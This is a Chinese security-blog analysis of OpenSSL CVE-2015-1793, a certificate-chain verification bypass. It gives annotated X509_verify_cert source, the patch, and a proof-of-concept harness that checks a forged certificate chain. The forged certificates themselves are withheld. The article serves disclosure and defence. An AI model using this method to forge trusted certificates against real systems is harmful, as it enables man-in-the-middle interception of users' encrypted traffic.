OpenSSLCVE20151793漏洞分析

  • A+
所属分类:安全文章
摘要

OpenSSL官方在7月9日发布了编号为 CVE-2015-1793 的交叉证书验证绕过漏洞,其中主要影响了OpenSSL的1.0.1和1.0.2分支。1.0.0和0.9.8分支不受影响。

0x00 前言


OpenSSL官方在7月9日发布了编号为 CVE-2015-1793 的交叉证书验证绕过漏洞,其中主要影响了OpenSSL的1.0.1和1.0.2分支。1.0.0和0.9.8分支不受影响。

360安全研究员au2o3t对该漏洞进行了原理上的分析,确认是一个绕过交叉链类型证书验证的高危漏洞,可以让攻击者构造证书来绕过交叉验证,用来形成诸如“中间人”等形式的攻击。

0x01 漏洞基本原理


直接看最简单的利用方法(利用方法包括但不限于此):

攻击者从一公共可信的 CA (C)处签得一证书 X,并以此证书签发另一证书 V(含对X的交叉引用),那么攻击者发出的证书链 V, R (R为任意证书)对信任 C 的用户将是可信的。

显然用户对 V, R 链的验证会返回失败。

对不支持交叉链认证的老版本来说,验证过程将以失败结束。

对支持交叉认证的版本,则将会尝试构建交叉链V, X, C,并继续进行验证。

虽然V, X, C链能通过可信认证,但会因 X 的用法不包括 CA 而导致验证失败。

但在 openssl-1.0.2c 版本,因在对交叉链的处理中,对最后一个不可信证书位置计数的错误,导致本应对 V, X 记为不可信并验证,错记为了仅对 V 做验证,而没有验证攻击者的证书 X,返回验证成功。

0x02 具体漏洞分析


漏洞代码位于文件:openssl-1.0.2c/crypto/x509/x509_vfy.c

函数:X509_verify_cert()

第 392 行:ctx->last_untrusted–;

对问题函数X509_verify_cert的简单分析:

( 为方便阅读,仅保留与证书验证强相关的代码,去掉了诸如变量定义、错误处理、资源释放等非主要代码)

问题在于由<1>处加入颁发者时及<2>处验证(颁发者)后,证书链计数增加,但 最后一个不可信证书位置计数 并未增加, 而在<4>处去除过程中 最后一个不可信证书位置计数 额外减少了,导致后面验证过程中少验。

(上述V, X, C链中应验V, X但少验了X

代码分析如下

int X509_verify_cert(X509_STORE_CTX *ctx) {     //ctx->cert 做为不信任证书压入需验证链  ctx->chain     // STACK_OF(X509) *chain 将被构造为证书链,并最终送到 internal_verify() 中去验证     sk_X509_push(ctx->chain,ctx->cert);      // 当前链长度(==1num = sk_X509_num(ctx->chain);      // 取出第 num 个证书     x = sk_X509_value(ctx->chain, num - 1);      // 存在不信任链则复制之     if (ctx->untrusted != NULL         && (sktmp = sk_X509_dup(ctx->untrusted)) == NULL) {         X509err(X509_F_X509_VERIFY_CERT, ERR_R_MALLOC_FAILURE);          goto end;     }      // 预设定的最大链深度(100depth = param->depth;     // 构造需验证证书链     for (;;) {         // 超长退出         if (depth < num)             break;         // 遇自签退出(链顶)         if (cert_self_signed(x))             break;          if (ctx->untrusted != NULL) {             xtmp = find_issuer(ctx, sktmp, x);             // 当前证书为不信任颁发者(应需CA标志)颁发             if (xtmp != NULL) {                 // 则加入需验证链                 if (!sk_X509_push(ctx->chain, xtmp)) {                     X509err(X509_F_X509_VERIFY_CERT, ERR_R_MALLOC_FAILURE);                     goto end;                 }                 CRYPTO_add(&xtmp->references, 1, CRYPTO_LOCK_X509);                 (void)sk_X509_delete_ptr(sktmp, xtmp);                 // 最后一个不可信证书位置计数 自增1                 ctx->last_untrusted++;                 x = xtmp;                 num++;                 continue;             }         }         break;     }     do {         i = sk_X509_num(ctx->chain);         x = sk_X509_value(ctx->chain, i - 1);         // 若最顶证书是自签的         if (cert_self_signed(x)) {             // 若需验证链长度 == 1             if (sk_X509_num(ctx->chain) == 1) {                 // 在可信链中查找其颁发者(找自己)                 ok = ctx->get_issuer(&xtmp, ctx, x);                 // 没找到或不是相同证书                 if ((ok <= 0) || X509_cmp(x, xtmp)) {                     ctx->error = X509_V_ERR_DEPTH_ZERO_SELF_SIGNED_CERT;                     ctx->current_cert = x;                     ctx->error_depth = i - 1;                     if (ok == 1)                         X509_free(xtmp);                     bad_chain = 1;                     ok = cb(0, ctx);                     if (!ok)                         goto end;                 // 找到                 } else {                     X509_free(x);                     x = xtmp;                     // 入到可信链                     (void)sk_X509_set(ctx->chain, i - 1, x);                     // 最后一个不可信证书位置计数 置0                     ctx->last_untrusted = 0;                 }             // 最顶为自签证书 且 证书链长度>1             } else {                 // 弹出                 chain_ss = sk_X509_pop(ctx->chain);                 // 最后一个不可信证书位置计数 自减                 ctx->last_untrusted--;                 num--;                 j--;                 // 保持指向当前最顶证书                 x = sk_X509_value(ctx->chain, num - 1);             }         }         // <1>         // 继续构造证书链(加入颁发者)         for (;;) {             // 自签退出             if (cert_self_signed(x))                 break;             // 在可信链中查找其颁发者             ok = ctx->get_issuer(&xtmp, ctx, x);             // 出错             if (ok < 0)                 return ok;             // 没找到             if (ok == 0)                  break;             x = xtmp;             // 将不可信证书的颁发者(证书)加入需验证证书链             if (!sk_X509_push(ctx->chain, x)) {                 X509_free(xtmp);                 X509err(X509_F_X509_VERIFY_CERT, ERR_R_MALLOC_FAILURE);                 return 0;             }             num++;         }         // <2>         // 验证 for(;;) 中加入的颁发者链         i = check_trust(ctx);         if (i == X509_TRUST_REJECTED)             goto end;         retry = 0;          // <3>         // 检查交叉链         if (i != X509_TRUST_TRUSTED             && !(ctx->param->flags & X509_V_FLAG_TRUSTED_FIRST)             && !(ctx->param->flags & X509_V_FLAG_NO_ALT_CHAINS)) {             while (j-- > 1) {                 xtmp2 = sk_X509_value(ctx->chain, j - 1);                  // 其实得到一个“看似合理”的证书就返回,这里实际上仅仅根据 CN域 查找颁发者                 ok = ctx->get_issuer(&xtmp, ctx, xtmp2);                 if (ok < 0)                     goto end;                 // 存在交叉链                 if (ok > 0) {                     X509_free(xtmp);                      // 去除交叉链以上部分                     while (num > j) {                         xtmp = sk_X509_pop(ctx->chain);                         X509_free(xtmp);                         num--;                         // <4>                         // 问题所在                         ctx->last_untrusted--;                     }                     // <5>                     retry = 1;                     break;                 }             }         }     } while (retry);     …… } 

官方的解决方法是在<5>处重新计算 最后一个不可信证书位置计数 的值为链长:

ctx->last_untrusted = sk_X509_num(ctx->chain); 

并去掉<4>处的 最后一个不可信证书位置计数 自减运算(其实去不去掉都无所谓)。 另一个解决办法可以是在<1> <2>后,在<3>处重置 最后一个不可信证书位置计数,加一行:

ctx->last_untrusted = num; 

这样<4>处不用删除,而逻辑也是合理并前后一致的。

0x03 漏洞验证


笔者修改了部分代码并做了个Poc 。 修改代码:

int X509_verify_cert(X509_STORE_CTX *ctx) {     X509 *x, *xtmp, *xtmp2, *chain_ss = NULL;     int bad_chain = 0;     X509_VERIFY_PARAM *param = ctx->param;     int depth, i, ok = 0;     int num, j, retry;     int (*cb) (int xok, X509_STORE_CTX *xctx);     STACK_OF(X509) *sktmp = NULL;     if (ctx->cert == NULL) {         X509err(X509_F_X509_VERIFY_CERT, X509_R_NO_CERT_SET_FOR_US_TO_VERIFY);         return -1;     }      cb = ctx->verify_cb;      /*      * first we make sure the chain we are going to build is present and that      * the first entry is in place      */     if (ctx->chain == NULL) {         if (((ctx->chain = sk_X509_new_null()) == NULL) ||             (!sk_X509_push(ctx->chain, ctx->cert))) {             X509err(X509_F_X509_VERIFY_CERT, ERR_R_MALLOC_FAILURE);             goto end;         }         CRYPTO_add(&ctx->cert->references, 1, CRYPTO_LOCK_X509);         ctx->last_untrusted = 1;     }      /* We use a temporary STACK so we can chop and hack at it */     if (ctx->untrusted != NULL         && (sktmp = sk_X509_dup(ctx->untrusted)) == NULL) {         X509err(X509_F_X509_VERIFY_CERT, ERR_R_MALLOC_FAILURE);         goto end;     }      num = sk_X509_num(ctx->chain);     x = sk_X509_value(ctx->chain, num - 1);     depth = param->depth;      for (;;) {         /* If we have enough, we break */         if (depth < num)             break;              /* FIXME: If this happens, we should take                                  * note of it and, if appropriate, use the                                  * X509_V_ERR_CERT_CHAIN_TOO_LONG error code                                  * later. */          /* If we are self signed, we break */         if (cert_self_signed(x))             break;          /*          * If asked see if we can find issuer in trusted store first          */         if (ctx->param->flags & X509_V_FLAG_TRUSTED_FIRST) {             ok = ctx->get_issuer(&xtmp, ctx, x);             if (ok < 0)                 return ok;             /*              * If successful for now free up cert so it will be picked up              * again later.              */             if (ok > 0) {                 X509_free(xtmp);                 break;             }         }          /* If we were passed a cert chain, use it first */         if (ctx->untrusted != NULL) {             xtmp = find_issuer(ctx, sktmp, x);             if (xtmp != NULL) {                 if (!sk_X509_push(ctx->chain, xtmp)) {                     X509err(X509_F_X509_VERIFY_CERT, ERR_R_MALLOC_FAILURE);                     goto end;                 }                 CRYPTO_add(&xtmp->references, 1, CRYPTO_LOCK_X509);                 (void)sk_X509_delete_ptr(sktmp, xtmp);                 ctx->last_untrusted++;                 x = xtmp;                 num++;                 /*                  * reparse the full chain for the next one                  */                 continue;             }         }         break;     }      /* Remember how many untrusted certs we have */     j = num;     /*      * at this point, chain should contain a list of untrusted certificates.      * We now need to add at least one trusted one, if possible, otherwise we      * complain.      */      do {         /*          * Examine last certificate in chain and see if it is self signed.          */         i = sk_X509_num(ctx->chain);         x = sk_X509_value(ctx->chain, i - 1);         if (cert_self_signed(x)) {             /* we have a self signed certificate */             if (sk_X509_num(ctx->chain) == 1) {                 /*                  * We have a single self signed certificate: see if we can                  * find it in the store. We must have an exact match to avoid                  * possible impersonation.                  */                 ok = ctx->get_issuer(&xtmp, ctx, x);                 if ((ok <= 0) || X509_cmp(x, xtmp)) {                     ctx->error = X509_V_ERR_DEPTH_ZERO_SELF_SIGNED_CERT;                     ctx->current_cert = x;                     ctx->error_depth = i - 1;                     if (ok == 1)                         X509_free(xtmp);                     bad_chain = 1;                     ok = cb(0, ctx);                     if (!ok)                         goto end;                 } else {                     /*                      * We have a match: replace certificate with store                      * version so we get any trust settings.                      */                     X509_free(x);                     x = xtmp;                     (void)sk_X509_set(ctx->chain, i - 1, x);                     ctx->last_untrusted = 0;                 }             } else {                 /*                  * extract and save self signed certificate for later use                  */                 chain_ss = sk_X509_pop(ctx->chain);                 ctx->last_untrusted--;                 num--;                 j--;                 x = sk_X509_value(ctx->chain, num - 1);             }         }         /* We now lookup certs from the certificate store */         for (;;) {             /* If we have enough, we break */             if (depth < num)                 break;             /* If we are self signed, we break */             if (cert_self_signed(x))                 break;             ok = ctx->get_issuer(&xtmp, ctx, x);              if (ok < 0)                 return ok;             if (ok == 0)                 break;             x = xtmp;             if (!sk_X509_push(ctx->chain, x)) {                 X509_free(xtmp);                 X509err(X509_F_X509_VERIFY_CERT, ERR_R_MALLOC_FAILURE);                 return 0;             }             num++;         }          /* we now have our chain, lets check it... */         i = check_trust(ctx);          /* If explicitly rejected error */         if (i == X509_TRUST_REJECTED)             goto end;          /*          * If it's not explicitly trusted then check if there is an alternative          * chain that could be used. We only do this if we haven't already          * checked via TRUSTED_FIRST and the user hasn't switched off alternate          * chain checking          */         retry = 0; // <1> //ctx->last_untrusted = num;                       if (i != X509_TRUST_TRUSTED             && !(ctx->param->flags & X509_V_FLAG_TRUSTED_FIRST)             && !(ctx->param->flags & X509_V_FLAG_NO_ALT_CHAINS)) {             while (j-- > 1) {                 xtmp2 = sk_X509_value(ctx->chain, j - 1);                 ok = ctx->get_issuer(&xtmp, ctx, xtmp2);                 if (ok < 0)                     goto end;                 /* Check if we found an alternate chain */                 if (ok > 0) {                     /*                      * Free up the found cert we'll add it again later                      */                     X509_free(xtmp);                      /*                      * Dump all the certs above this point - we've found an                      * alternate chain                      */                     while (num > j) {                         xtmp = sk_X509_pop(ctx->chain);                         X509_free(xtmp);                         num--;                         ctx->last_untrusted--;                     }                     retry = 1;                     break;                 }             }         }     } while (retry);  printf(" num=%d, real-num=%d/n", ctx->last_untrusted, sk_X509_num(ctx->chain) );     /*      * If not explicitly trusted then indicate error unless it's a single      * self signed certificate in which case we've indicated an error already      * and set bad_chain == 1      */       if (i != X509_TRUST_TRUSTED && !bad_chain) {         if ((chain_ss == NULL) || !ctx->check_issued(ctx, x, chain_ss)) {             if (ctx->last_untrusted >= num)                 ctx->error = X509_V_ERR_UNABLE_TO_GET_ISSUER_CERT_LOCALLY;             else                 ctx->error = X509_V_ERR_UNABLE_TO_GET_ISSUER_CERT;             ctx->current_cert = x;         } else {             sk_X509_push(ctx->chain, chain_ss);             num++;             ctx->last_untrusted = num;             ctx->current_cert = chain_ss;             ctx->error = X509_V_ERR_SELF_SIGNED_CERT_IN_CHAIN;             chain_ss = NULL;         }          ctx->error_depth = num - 1;         bad_chain = 1;         ok = cb(0, ctx);         if (!ok)             goto end;     } printf("flag=1/n");     /* We have the chain complete: now we need to check its purpose */     ok = check_chain_extensions(ctx);      if (!ok)         goto end;  printf("flag=2/n");     /* Check name constraints */      ok = check_name_constraints(ctx);      if (!ok)         goto end; printf("flag=3/n");     ok = check_id(ctx);      if (!ok)         goto end; printf("flag=4/n");     /* We may as well copy down any DSA parameters that are required */     X509_get_pubkey_parameters(NULL, ctx->chain);      /*      * Check revocation status: we do this after copying parameters because      * they may be needed for CRL signature verification.      */      ok = ctx->check_revocation(ctx);     if (!ok)         goto end; printf("flag=5/n");     i = X509_chain_check_suiteb(&ctx->error_depth, NULL, ctx->chain,                                 ctx->param->flags);     if (i != X509_V_OK) {         ctx->error = i;         ctx->current_cert = sk_X509_value(ctx->chain, ctx->error_depth);         ok = cb(0, ctx);         if (!ok)             goto end;     } printf("flag=6/n");     /* At this point, we have a chain and need to verify it */     if (ctx->verify != NULL)         ok = ctx->verify(ctx);     else         ok = internal_verify(ctx);     if (!ok)         goto end; printf("flag=7/n"); #ifndef OPENSSL_NO_RFC3779     /* RFC 3779 path validation, now that CRL check has been done */     ok = v3_asid_validate_path(ctx);     if (!ok)         goto end;     ok = v3_addr_validate_path(ctx);     if (!ok)         goto end; #endif  printf("flag=8/n");     /* If we get this far evaluate policies */     if (!bad_chain && (ctx->param->flags & X509_V_FLAG_POLICY_CHECK))         ok = ctx->check_policy(ctx);     if (!ok)         goto end;     if (0) {  end:         X509_get_pubkey_parameters(NULL, ctx->chain);     }     if (sktmp != NULL)         sk_X509_free(sktmp);     if (chain_ss != NULL)         X509_free(chain_ss); printf("ok=%d/n", ok );             return ok; }  Poc: ? // //里头的证书文件自己去找一个,这个不提供了 // #include <stdio.h> #include <openssl/crypto.h> #include <openssl/bio.h> #include <openssl/x509.h> #include <openssl/pem.h>   STACK_OF(X509) *load_certs_from_file(const char *file) {     STACK_OF(X509) *certs;     BIO *bio;     X509 *x;     bio = BIO_new_file( file, "r");     certs = sk_X509_new_null();     do     {         x = PEM_read_bio_X509(bio, NULL, 0, NULL);         sk_X509_push(certs, x);     }while( x != NULL );      return certs; }   void test(void) {     X509 *x = NULL;     STACK_OF(X509) *untrusted = NULL;     BIO *bio = NULL;     X509_STORE_CTX *sctx = NULL;     X509_STORE *store = NULL;     X509_LOOKUP *lookup = NULL;      store = X509_STORE_new();     lookup = X509_STORE_add_lookup( store, X509_LOOKUP_file() );     X509_LOOKUP_load_file(lookup, "roots.pem", X509_FILETYPE_PEM);     untrusted = load_certs_from_file("untrusted.pem");     bio = BIO_new_file("bad.pem", "r");     x = PEM_read_bio_X509(bio, NULL, 0, NULL);     sctx = X509_STORE_CTX_new();     X509_STORE_CTX_init(sctx, store, x, untrusted);     X509_verify_cert(sctx); }  int main(void) {     test();     return 0; } 

将代码中X509_verify_cert()函数加入输出信息如下: 编译,以伪造证书测试,程序输出信息为:

num=1, real-num=3 flag=1 flag=2 flag=3 flag=4 flag=5 flag=6 flag=7 flag=8 ok=1 

认证成功 将<1>处注释代码去掉,编译,再以伪造证书测试,程序输出信息为:

num=3, real-num=3 flag=1 ok=0 

认证失败

0x04 安全建议


建议使用受影响版本(OpenSSL 1.0.2b/1.0.2cOpenSSL 1.0.1n/1.0.1o)的 产品或代码升级OpenSSL到最新版本

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: